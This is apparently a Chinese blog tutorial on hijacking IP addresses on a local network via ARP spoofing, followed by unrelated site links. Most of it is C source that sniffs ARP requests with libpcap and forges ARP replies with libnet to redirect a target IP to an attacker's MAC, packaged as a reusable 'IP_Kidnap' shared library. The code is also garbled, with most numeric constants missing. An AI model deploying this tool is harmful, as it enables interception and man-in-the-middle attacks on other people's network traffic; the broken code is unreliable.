我站在 烈烈风中

  恨不能 荡尽绵绵心痛

  望苍天 四方云动

  剑在手

  问天下谁是英雄

——《霸王别姬》

阅读这篇文章之前,请确认已经熟悉ARP报文伪造的方法,可参考《ARP数据包伪造》。

请看下图,这是全篇文章的鸟瞰:

  要想实现上图的工作流程,必须实现两个模块:

•自由的伪造ARP报文

•抓取并分析所有流经网卡的数据包

从上图中可以看出,我们可以通过BPF或者DLPI层实现数据包的抓取分析,而tcpdump的根基——libpcap库,正是对BPF层的二次封装实现的C库,我们将通过它来实现数据包的抓取分析。

关于libpcap的基础使用,请参考这篇文章《libpcap使用》。

下面给出一个简单的libpcap过滤抓包的程序:

 #include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h> unsigned char glTargetIP[]={,,,};
char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
unsigned char glRetargetMac[]={ 0x00,0x11,0x11,0x22,0x22,0xff };
char * glNICStr="eth2"; void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
int * id = (int *)arg;
unsigned char * src_ip =glTargetIP;
unsigned char * src_mac=glRetargetMac;
unsigned char * dst_ip =packet+;
unsigned char * dst_mac=packet+; printf("id: %d\n", ++(*id));
printf("Packet length: %d\n", pkthdr->len);
printf("Number of bytes: %d\n", pkthdr->caplen);
printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); int i;
for(i=; i<pkthdr->len; ++i)
{
printf(" %02x", packet[i]);
if( (i + ) % == )
{
printf("\n");
}
} printf("\n\n");
} int main ()
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr;
struct bpf_program filter; /* get a device */
devStr = pcap_lookupdev(errBuf); if(devStr)
{
printf("success: device: %s\n", devStr);
}
else
{
printf("error: %s\n", errBuf);
exit();
} /* open a device, wait until a packet arrives */
pcap_t * device = pcap_open_live(glNICStr, , , , errBuf); if(!device)
{
printf("error: pcap_open_live(): %s\n", errBuf);
exit();
}
/* set filter */
pcap_compile( device,&filter,glBpfCmd,, );
pcap_setfilter(device ,&filter );
/* wait loop forever */
int id = ;
pcap_loop(device, -, getPacket, (u_char*)&id); pcap_close(device); return ;
}
gcc name.c -lpcap -o name

结合ARP报文伪造模块,下面给出完整实现代码:

 #include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h> #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h> #define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4 unsigned char glTargetIP[]={,,,};
char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
unsigned char glRetargetMac[]={ 0x00,0x11,0x11,0x22,0x22,0xff };
char * glNICStr="eth2"; int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
{
static char padPtr[];
libnet_t *net_t = NULL;
char err_buf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t p_tag;
unsigned int i=; printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip); net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
if(net_t == NULL)
{
printf("libnet_init error\n");
return ;
} p_tag = libnet_build_arp(
ARPHRD_ETHER,//hardware type ethernet
ETHERTYPE_IP,//protocol type
MAC_ADDR_LEN,//mac length
IP_ADDR_LEN,//protocol length
arpOp,//op type
(u_int8_t *)src_mac,//source mac addr
(u_int8_t *)src_ip,//source ip addr
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)dst_ip,//dest ip addr
padPtr,//payload
,//payload length
net_t,//libnet context
//0 stands to build a new one
); if(- == p_tag)
{
printf("libnet_build_arp error\n");
libnet_destroy(net_t);
return ;
} p_tag = libnet_build_ethernet(//create ethernet header
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)src_mac,//source mac addr
ETHERTYPE_ARP,//protocol type
padPtr,//payload
,//payload length
net_t,//libnet context
//0 to build a new one
); if(- == p_tag)
{
printf("libnet_build_ethernet error!\n");
libnet_destroy(net_t);
return ;
} int res;
i=;
for(;i<sendTimes;i++)
if(- == (res = libnet_write(net_t)))
{
printf("libnet_write error!\n");
libnet_destroy(net_t);
return ;
} libnet_destroy(net_t);
return ;
FAIL:
libnet_destroy(net_t);
return ;
}
void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
int * id = (int *)arg;
unsigned char * src_ip =glTargetIP;
unsigned char * src_mac=glRetargetMac;
unsigned char * dst_ip =packet+;
unsigned char * dst_mac=packet+; ForgeAndSendArp(glNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,); printf("id: %d\n", ++(*id));
printf("Packet length: %d\n", pkthdr->len);
printf("Number of bytes: %d\n", pkthdr->caplen);
printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); int i;
for(i=; i<pkthdr->len; ++i)
{
printf(" %02x", packet[i]);
if( (i + ) % == )
{
printf("\n");
}
} printf("\n\n");
} int main ()
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr;
struct bpf_program filter; /* get a device */
devStr = pcap_lookupdev(errBuf); if(devStr)
{
printf("success: device: %s\n", devStr);
}
else
{
printf("error: %s\n", errBuf);
exit();
} /* open a device, wait until a packet arrives */
pcap_t * device = pcap_open_live(glNICStr, , , , errBuf); if(!device)
{
printf("error: pcap_open_live(): %s\n", errBuf);
exit();
}
/* set filter */
pcap_compile( device,&filter,glBpfCmd,, );
pcap_setfilter(device ,&filter );
/* wait loop forever */
int id = ;
pcap_loop(device, -, getPacket, (u_char*)&id); pcap_close(device); return ;
}

这个工具的验证结果已经在文章鸟瞰图中给出。

下面,我们将这段代码封装成为一个共享库,以供其他程序调用。

 //  # gcc name.c -lnet -lpcap -shared -fPIC -o name.so
#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h> #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h> #define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4 static unsigned char * glTargetIP;
static char * glBpfCmd;
static unsigned char * glRetargetMac;
static char * glListenNICStr;
static char * glSendNICStr; int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
{
static char padPtr[];
libnet_t *net_t = NULL;
char err_buf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t p_tag;
unsigned int i=; printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip);
printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip); net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf);
if(net_t == NULL)
{
printf("libnet_init error\n");
return ;
} p_tag = libnet_build_arp(
ARPHRD_ETHER,//hardware type ethernet
ETHERTYPE_IP,//protocol type
MAC_ADDR_LEN,//mac length
IP_ADDR_LEN,//protocol length
arpOp,//op type
(u_int8_t *)src_mac,//source mac addr
(u_int8_t *)src_ip,//source ip addr
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)dst_ip,//dest ip addr
padPtr,//payload
,//payload length
net_t,//libnet context
//0 stands to build a new one
); if(- == p_tag)
{
printf("libnet_build_arp error\n");
libnet_destroy(net_t);
return ;
} p_tag = libnet_build_ethernet(//create ethernet header
(u_int8_t *)dst_mac,//dest mac addr
(u_int8_t *)src_mac,//source mac addr
ETHERTYPE_ARP,//protocol type
padPtr,//payload
,//payload length
net_t,//libnet context
//0 to build a new one
); if(- == p_tag)
{
printf("libnet_build_ethernet error!\n");
libnet_destroy(net_t);
return ;
} int res;
i=;
for(;i<sendTimes;i++)
if(- == (res = libnet_write(net_t)))
{
printf("libnet_write error!\n");
libnet_destroy(net_t);
return ;
} libnet_destroy(net_t);
return ;
FAIL:
libnet_destroy(net_t);
return ;
}
void static getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
int * id = (int *)arg;
unsigned char * src_ip =glTargetIP;
unsigned char * src_mac=glRetargetMac;
unsigned char * dst_ip =packet+;
unsigned char * dst_mac=packet+; ForgeAndSendArp(glSendNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,); printf("id: %d\n", ++(*id));
printf("Packet length: %d\n", pkthdr->len);
printf("Number of bytes: %d\n", pkthdr->caplen);
printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); int i;
for(i=; i<pkthdr->len; ++i)
{
printf(" %02x", packet[i]);
if( (i + ) % == )
{
printf("\n");
}
} printf("\n\n");
} /* args example
static unsigned char glTargetIP[4]={192,168,1,99};
static char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
static unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
static char * glListenNICStr="eth2";
static char * glSendNICStr="eth2";
*/
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
unsigned char * RetargetMac,char * sendNICStr ,char * listenNICStr )
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr;
struct bpf_program filter;
glTargetIP=TargetIP;
glBpfCmd=BpfCmd;
glRetargetMac=RetargetMac;
glSendNICStr=sendNICStr;
glListenNICStr=listenNICStr; /* get a device */
devStr = pcap_lookupdev(errBuf); if(devStr)
{
printf("success: device: %s\n", devStr);
}
else
{
printf("error: %s\n", errBuf);
exit();
} /* open a device, wait until a packet arrives */
pcap_t * device = pcap_open_live(glListenNICStr, , , , errBuf); if(!device)
{
printf("error: pcap_open_live(): %s\n", errBuf);
exit();
}
/* set filter */
pcap_compile( device,&filter,glBpfCmd,, );
pcap_setfilter(device ,&filter );
/* wait loop forever */
int id = ;
pcap_loop(device, -, getPacket, (u_char*)&id); pcap_close(device); return ;
}

编译后的结果:

  函数原型:

int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac,
unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes )
/*
dev : pointer to nic name, "eth0" for example.
src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
dst_mac : similar as src_mac
src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};'
dst_ip : similar as src_ip
arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e.
sendTimes : how many times this packet you want to send
*/
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd,
unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr )
/*
TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; '
BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";'
RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };'
ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";'
SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";'
*/

附录:

    参考文章 《libpcap使用》 《ARP数据包伪造

基于ARP的局域网IP劫持——C语言实现的更多相关文章

  1. 使用ARP获取局域网内设备IP和MAC地址

    根据Arp列表数据,查询本地设备在线状态 使用 arp -a 获得所有内网地址,首先看Mod对象 public struct MacIpPair { public string HostName; p ...

  2. Android基于UDP的局域网聊天通信

    代码地址如下:http://www.demodashi.com/demo/12057.html 记得把这几点描述好咯:代码实现过程 + 项目文件结构截图 + 演示效果 1. 开发环境 1.1 开发工具 ...

  3. 中间人攻击-Arp之局域网内DNS欺骗

    基础知识 网关是啥? 网关是工作在OSI七层模型中的传输层或者应用层,用于高层协议的不同网络之间的连接,网关就好比一个房间通向另一个房间的一扇门. ARP协议 假设A(192.168.1.2)与B(1 ...

  4. Linux将公网ip映射到局域网ip

    测试环境如下: monitor: msc1:公网IP:103.6.164.128 eth0 内网IP:192.168.0.57 eth0内网IP:192.168.0.16 eth1 通过访问monit ...

  5. 基于ARP的网络扫描工具netdiscover

    基于ARP的网络扫描工具netdiscover   ARP是将IP地址转化物理地址的网络协议.通过该协议,可以判断某个IP地址是否被使用,从而发现网络中存活的主机.Kali Linux提供的netdi ...

  6. 局域网IP段

    局域网的出现,一方面解决内部安全问题,另一个方面解决ipv4不够用的问题.局域网方便维护和管理,目前局域网Ip地址段为 局域网地址范围分三类: C类:192.168.0.0-192.168.255.2 ...

  7. 基于gSOAP使用头文件的C语言版web service开发过程例子

    基于gSOAP使用头文件的C语言版web service开发过程例子 一服务端 1 打开VS2005,创建一个工程,命名为calcServer. 2 添加一个头文件calc.h,编辑内容如下: 1// ...

  8. 基于Oracle OCI的数据访问C语言接口ORADBI .

    基于Oracle OCI的数据访问C语言接口ORADBI cheungmine@gmail.com Mar. 22, 2008   ORADBI是我在Oracle OCI(Oracle 调用接口)基础 ...

  9. C#获取本机局域网ip和公网ip

    1.获取局域网ip IPAddress ipAddr = Dns.Resolve(Dns.GetHostName()).AddressList[0];//获得当前IP地址 string ip=ipAd ...

随机推荐

  1. 【剑指offer】栈的压入弹出序列,C++实现(举例)

    原创文章,转载请注明出处! 本题牛客网地址 博客文章索引地址 博客文章中代码的github地址 1.题目 输入两个整数序列,第一个序列表示栈的压入顺序,请判断第二个序列是否为第一个序列的出栈序列.注意 ...

  2. rancher下的kubernetes之一:构建标准化vmware镜像

    学习kubernetes的时候,我们需要在kubernetes环境下实战操作,然而kubernetes环境安装并不容易,现在通过rancher可以简化安装过程,咱们来实战rancher下的kubern ...

  3. BZOJ5194: [Usaco2018 Feb]Snow Boots(排序&set)(可线段树优化)

    5194: [Usaco2018 Feb]Snow Boots Time Limit: 10 Sec  Memory Limit: 128 MBSubmit: 102  Solved: 79[Subm ...

  4. 每天一个linux命令(目录文件操作):【转载】linux文件属性详解

    Linux 文件或目录的属性主要包括:文件或目录的节点.种类.权限模式.链接数量.所归属的用户和用户组.最近访问或修改的时间等内容.具体情况如下: 命令:  ls -lih 输出: [root@loc ...

  5. BZOJ2565 最长双回文串 【Manacher】

    BZOJ2565 最长双回文串 Description 顺序和逆序读起来完全一样的串叫做回文串.比如acbca是回文串,而abc不是(abc的顺序为"abc",逆序为"c ...

  6. 常用输入法快速输入自定义格式的时间和日期(搜狗/QQ/微软拼音)

    几个主流的输入法输入 rq 或者 sj 都可以得到预定义格式的日期或者时间.然而他们都是预定义的格式:当我们需要一些其他格式的时候该怎么做呢? 本文将介绍几个常用输入法自定义时间和日期格式的方法. 主 ...

  7. 语义耦合(Semantic Coupling)

    跟小伙伴一起重构一段 UI,试图将用户界面和业务代码分离的时候,小伙伴试图在业务代码中直接调用 UI.我们当然都知道这会产生耦合,于是小伙伴试图定义一些属性.变量或接口来解决这个耦合.虽然在代码的静态 ...

  8. iOS获取图片格式

    我们系统使用的一般文件格式有png.jpg.jpeg.GIF.TIFF 等格式: 图片是我们开发过程中最常见的东西,一般每个公司都会有自己的文件服务器,客户端人员都会从文件服务器中获取相关的图片信息: ...

  9. [Luogu4715]「英语」Z 语言

    luogu description 你有一个长度为\(n\)的串\(A\)和一个长度为\(m\)的串\(B\),字符集大小\(2^{31}\),且同一个串中没有相同的元素. 定义\(B\)串与\(A_ ...

  10. [CF895E]Eyes Closed

    luogu description 一个序列\(a_i\),支持一下两种操作. \(1\ \ l_1\ \ r_1\ \ l_2\ \ r_2\): 随机交换区间\([l_1,r_1]\)和\([l_ ...